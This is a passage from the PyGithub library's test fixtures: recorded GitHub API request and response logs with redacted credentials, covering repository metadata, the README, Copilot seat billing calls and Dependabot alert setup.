v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-07T18:29:39Z","pushed_at":"2025-01-07T19:22:27Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16608,"stargazers_count":7126,"watchers_count":7126,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1794,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":364,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1794,"open_issues":364,"watchers":7126,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1794,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/readme {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 08 Jan 2025 09:15:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205"'), ('Last-Modified', 'Tue, 07 Jan 2025 10:55:06 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1736330143'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '98C8:E2FAF:40F12E:42384E:677E4222')] {"name":"README.md","path":"README.md","sha":"0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205","size":2524,"url":"https://api.github.com/repos/PyGithub/PyGithub/contents/README.md?ref=main","html_url":"https://github.com/PyGithub/PyGithub/blob/main/README.md","git_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205","download_url":"https://raw.githubusercontent.com/PyGithub/PyGithub/main/README.md","type":"file","content":"IyBQeUdpdEh1YgoKWyFbUHlQSV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9w\neXBpL3YvUHlHaXRodWIuc3ZnKV0oaHR0cHM6Ly9weXBpLnB5dGhvbi5vcmcv\ncHlwaS9QeUdpdGh1YikKIVtDSV0oaHR0cHM6Ly9naXRodWIuY29tL1B5R2l0\naHViL1B5R2l0aHViL3dvcmtmbG93cy9DSS9iYWRnZS5zdmcpClshW3JlYWR0\naGVkb2NzXShodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL2RvY3Mtc3Rh\nYmxlLWJyaWdodGdyZWVuLnN2Zz9zdHlsZT1mbGF0KV0oaHR0cHM6Ly9weWdp\ndGh1Yi5yZWFkdGhlZG9jcy5pby9lbi9zdGFibGUvP2JhZGdlPXN0YWJsZSkK\nWyFbTGljZW5zZV0oaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9saWNl\nbnNlLUxHUEwtYmx1ZS5zdmcpXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcv\nd2lraS9HTlVfTGVzc2VyX0dlbmVyYWxfUHVibGljX0xpY2Vuc2UpClshW1Ns\nYWNrXShodHRwczovL2ltZy5zaGllbGRzLmlvL2JhZGdlL1NsYWNrJTIwY2hh\nbm5lbC0lMjAlMjAtYmx1ZS5zdmcpXShodHRwczovL2pvaW4uc2xhY2suY29t\nL3QvcHlnaXRodWItcHJvamVjdC9zaGFyZWRfaW52aXRlL3p0LWR1ajg5eHR4\nLXVLRlp0Z0FnMjA5bzZWd2VxbTh4ZVEpClshW09wZW4gU291cmNlIEhlbHBl\ncnNdKGh0dHBzOi8vd3d3LmNvZGV0cmlhZ2UuY29tL3B5Z2l0aHViL3B5Z2l0\naHViL2JhZGdlcy91c2Vycy5zdmcpXShodHRwczovL3d3dy5jb2RldHJpYWdl\nLmNvbS9weWdpdGh1Yi9weWdpdGh1YikKWyFbY29kZWNvdl0oaHR0cHM6Ly9j\nb2RlY292LmlvL2doL1B5R2l0aHViL1B5R2l0aHViL2JyYW5jaC9tYXN0ZXIv\nZ3JhcGgvYmFkZ2Uuc3ZnKV0oaHR0cHM6Ly9jb2RlY292LmlvL2doL1B5R2l0\naHViL1B5R2l0aHViKQpbIVtDb2RlIHN0eWxlOiBibGFja10oaHR0cHM6Ly9p\nbWcuc2hpZWxkcy5pby9iYWRnZS9jb2RlJTIwc3R5bGUtYmxhY2stMDAwMDAw\nLnN2ZyldKGh0dHBzOi8vZ2l0aHViLmNvbS9wc2YvYmxhY2spCgpQeUdpdEh1\nYiBpcyBhIFB5dGhvbiBsaWJyYXJ5IHRvIGFjY2VzcyB0aGUgW0dpdEh1YiBS\nRVNUIEFQSV0uClRoaXMgbGlicmFyeSBlbmFibGVzIHlvdSB0byBtYW5hZ2Ug\nW0dpdEh1Yl0gcmVzb3VyY2VzIHN1Y2ggYXMgcmVwb3NpdG9yaWVzLCB1c2Vy\nIHByb2ZpbGVzLCBhbmQgb3JnYW5pemF0aW9ucyBpbiB5b3VyIFB5dGhvbiBh\ncHBsaWNhdGlvbnMuCgpbR2l0SHViIFJFU1QgQVBJXTogaHR0cHM6Ly9kb2Nz\nLmdpdGh1Yi5jb20vZW4vcmVzdApbR2l0SHViXTogaHR0cHM6Ly9naXRodWIu\nY29tCgojIyBJbnN0YWxsCgpgYGBiYXNoCnBpcCBpbnN0YWxsIFB5R2l0aHVi\nCmBgYAoKIyMgU2ltcGxlIERlbW8KCmBgYHB5dGhvbgpmcm9tIGdpdGh1YiBp\nbXBvcnQgR2l0aHViCgojIEF1dGhlbnRpY2F0aW9uIGlzIGRlZmluZWQgdmlh\nIGdpdGh1Yi5BdXRoCmZyb20gZ2l0aHViIGltcG9ydCBBdXRoCgojIHVzaW5n\nIGFuIGFjY2VzcyB0b2tlbgphdXRoID0gQXV0aC5Ub2tlbigiYWNjZXNzX3Rv\na2VuIikKCiMgRmlyc3QgY3JlYXRlIGEgR2l0aHViIGluc3RhbmNlOgoKIyBQ\ndWJsaWMgV2ViIEdpdGh1YgpnID0gR2l0aHViKGF1dGg9YXV0aCkKCiMgR2l0\naHViIEVudGVycHJpc2Ugd2l0aCBjdXN0b20gaG9zdG5hbWUKZyA9IEdpdGh1\nYihiYXNlX3VybD0iaHR0cHM6Ly97aG9zdG5hbWV9L2FwaS92MyIsIGF1dGg9\nYXV0aCkKCiMgVGhlbiBwbGF5IHdpdGggeW91ciBHaXRodWIgb2JqZWN0czoK\nZm9yIHJlcG8gaW4gZy5nZXRfdXNlcigpLmdldF9yZXBvcygpOgogICAgcHJp\nbnQocmVwby5uYW1lKQoKIyBUbyBjbG9zZSBjb25uZWN0aW9ucyBhZnRlciB1\nc2UKZy5jbG9zZSgpCmBgYAoKIyMgRG9jdW1lbnRhdGlvbgoKTW9yZSBpbmZv\ncm1hdGlvbiBjYW4gYmUgZm91bmQgb24gdGhlIFtQeUdpdEh1YiBkb2N1bWVu\ndGF0aW9uIHNpdGUuXShodHRwczovL3B5Z2l0aHViLnJlYWR0aGVkb2NzLmlv\nL2VuL3N0YWJsZS9pbnRyb2R1Y3Rpb24uaHRtbCkKCiMjIERldmVsb3BtZW50\nCgojIyMgQ29udHJpYnV0aW5nCgpMb25nLXRlcm0gZGlzY3Vzc2lvbiBhbmQg\nYnVnIHJlcG9ydHMgYXJlIG1haW50YWluZWQgdmlhIEdpdEh1YiBJc3N1ZXMu\nCkNvZGUgcmV2aWV3IGlzIGRvbmUgdmlhIEdpdEh1YiBQdWxsIFJlcXVlc3Rz\nLgoKRm9yIG1vcmUgaW5mb3JtYXRpb24gcmVhZCBbQ09OVFJJQlVUSU5HLm1k\nXS4KCltDT05UUklCVVRJTkcubWRdOiBodHRwczovL2dpdGh1Yi5jb20vUHlH\naXRodWIvUHlHaXRodWIvYmxvYi9tYWluL0NPTlRSSUJVVElORy5tZAoKIyMj\nIE1haW50YWluZXJzaGlwCgpXZSdyZSBhY3RpdmVseSBzZWVraW5nIG1haW50\nYWluZXJzIHRoYXQgd2lsbCB0cmlhZ2UgaXNzdWVzIGFuZCBwdWxsIHJlcXVl\nc3RzIGFuZCBjdXQgcmVsZWFzZXMuCklmIHlvdSB3b3JrIG9uIGEgcHJvamVj\ndCB0aGF0IGxldmVyYWdlcyBQeUdpdEh1YiBhbmQgaGF2ZSBhIHZlc3RlZCBp\nbnRlcmVzdCBpbiBrZWVwaW5nIHRoZSBjb2RlIGFsaXZlIGFuZCB3ZWxsLCBz\nZW5kIGFuIGVtYWlsIHRvIHNvbWVvbmUgaW4gdGhlIE1BSU5UQUlORVJTIGZp\nbGUuCg==\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/PyGithub/PyGithub/contents/README.md?ref=main","git":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs/0d9df5bfb7d4b93443c130bc8f4eea5dd3f01205","html":"https://github.com/PyGithub/PyGithub/blob/main/README.md"}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Copilot.setUp.txt0000644000175100001660000000101714756101563021426 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4862bcec9fa538316e2fcd73be37b846"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"type":"Organization","login":"BeaverSoftware","id":1424031} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Copilot.testAddSeats.txt0000644000175100001660000000112014756101563022711 0ustar00runnerdockerhttps POST api.github.com None /orgs/BeaverSoftware/copilot/billing/selected_users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"selected_usernames": ["pashafateev"]} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4975'), ('content-length', '19'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4862bcec9fa538316e2fcd73be37b846"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"seats_created":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Copilot.testAttributes.txt0000644000175100001660000000140514756101563023355 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/copilot/billing/seats {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4862bcec9fa538316e2fcd73be37b846"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"seats": [{"created_at": "2010-07-09T06:10:06Z", "updated_at": "2012-05-26T11:25:48Z", "pending_cancellation_date": null, "last_activity_at": "2012-05-26T14:59:39Z", "last_activity_editor": "vscode/1.0.0", "plan_type": "business", "assignee": {"login": "pashafateev", "id": 327146}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Copilot.testGetSeats.txt0000644000175100001660000000140514756101563022746 0ustar00runnerdockerhttps GET api.github.com None /orgs/BeaverSoftware/copilot/billing/seats {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4973'), ('content-length', '716'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4862bcec9fa538316e2fcd73be37b846"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"seats": [{"created_at": "2010-07-09T06:10:06Z", "updated_at": "2012-05-26T11:25:48Z", "pending_cancellation_date": null, "last_activity_at": "2012-05-26T14:59:39Z", "last_activity_editor": "vscode/1.0.0", "plan_type": "business", "assignee": {"login": "pashafateev", "id": 327146}}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Copilot.testRemoveSeats.txt0000644000175100001660000000111714756101563023464 0ustar00runnerdockerhttps DELETE api.github.com None /orgs/BeaverSoftware/copilot/billing/selected_users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"selected_usernames": ["pashafateev"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4972'), ('content-length', '21'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4862bcec9fa538316e2fcd73be37b846"'), ('date', 'Sat, 26 May 2012 21:09:52 GMT'), ('content-type', 'application/json; charset=utf-8')] {"seats_cancelled":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DependabotAlert.setUp.txt0000644000175100001660000004316714756101563023066 0ustar00runnerdockerhttps GET api.github.com None /repos/coopernetes/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 22 Jan 2024 02:33:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b01b684ab6f2a15d44ecf658af97789063ce5755d9e13142169d8c6faac678d0"'), ('Last-Modified', 'Sat, 20 Jan 2024 21:04:19 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1705893222'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D7E6:0A7D:9F3E4DA:14C27A29:65ADD3DE')] {"id":745961840,"node_id":"R_kgDOLHZ5cA","name":"PyGithub","full_name":"coopernetes/PyGithub","private":false,"owner":{"login":"coopernetes","id":57812123,"node_id":"MDQ6VXNlcjU3ODEyMTIz","avatar_url":"https://avatars.githubusercontent.com/u/57812123?v=4","gravatar_id":"","url":"https://api.github.com/users/coopernetes","html_url":"https://github.com/coopernetes","followers_url":"https://api.github.com/users/coopernetes/followers","following_url":"https://api.github.com/users/coopernetes/following{/other_user}","gists_url":"https://api.github.com/users/coopernetes/gists{/gist_id}","starred_url":"https://api.github.com/users/coopernetes/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/coopernetes/subscriptions","organizations_url":"https://api.github.com/users/coopernetes/orgs","repos_url":"https://api.github.com/users/coopernetes/repos","events_url":"https://api.github.com/users/coopernetes/events{/privacy}","received_events_url":"https://api.github.com/users/coopernetes/received_events","type":"User","site_admin":false},"html_url":"https://github.com/coopernetes/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/coopernetes/PyGithub","forks_url":"https://api.github.com/repos/coopernetes/PyGithub/forks","keys_url":"https://api.github.com/repos/coopernetes/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/coopernetes/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/coopernetes/PyGithub/teams","hooks_url":"https://api.github.com/repos/coopernetes/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/coopernetes/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/coopernetes/PyGithub/events","assignees_url":"https://api.github.com/repos/coopernetes/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/coopernetes/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/coopernetes/PyGithub/tags","blobs_url":"https://api.github.com/repos/coopernetes/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/coopernetes/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/coopernetes/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/coopernetes/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/coopernetes/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/coopernetes/PyGithub/languages","stargazers_url":"https://api.github.com/repos/coopernetes/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/coopernetes/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/coopernetes/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/coopernetes/PyGithub/subscription","commits_url":"https://api.github.com/repos/coopernetes/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/coopernetes/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/coopernetes/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/coopernetes/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/coopernetes/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/coopernetes/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/coopernetes/PyGithub/merges","archive_url":"https://api.github.com/repos/coopernetes/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/coopernetes/PyGithub/downloads","issues_url":"https://api.github.com/repos/coopernetes/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/coopernetes/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/coopernetes/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/coopernetes/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/coopernetes/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/coopernetes/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/coopernetes/PyGithub/deployments","created_at":"2024-01-20T17:12:17Z","updated_at":"2024-01-20T21:04:19Z","pushed_at":"2024-01-21T03:50:15Z","git_url":"git://github.com/coopernetes/PyGithub.git","ssh_url":"git@github.com:coopernetes/PyGithub.git","clone_url":"https://github.com/coopernetes/PyGithub.git","svn_url":"https://github.com/coopernetes/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13716,"stargazers_count":1,"watchers_count":1,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":1,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_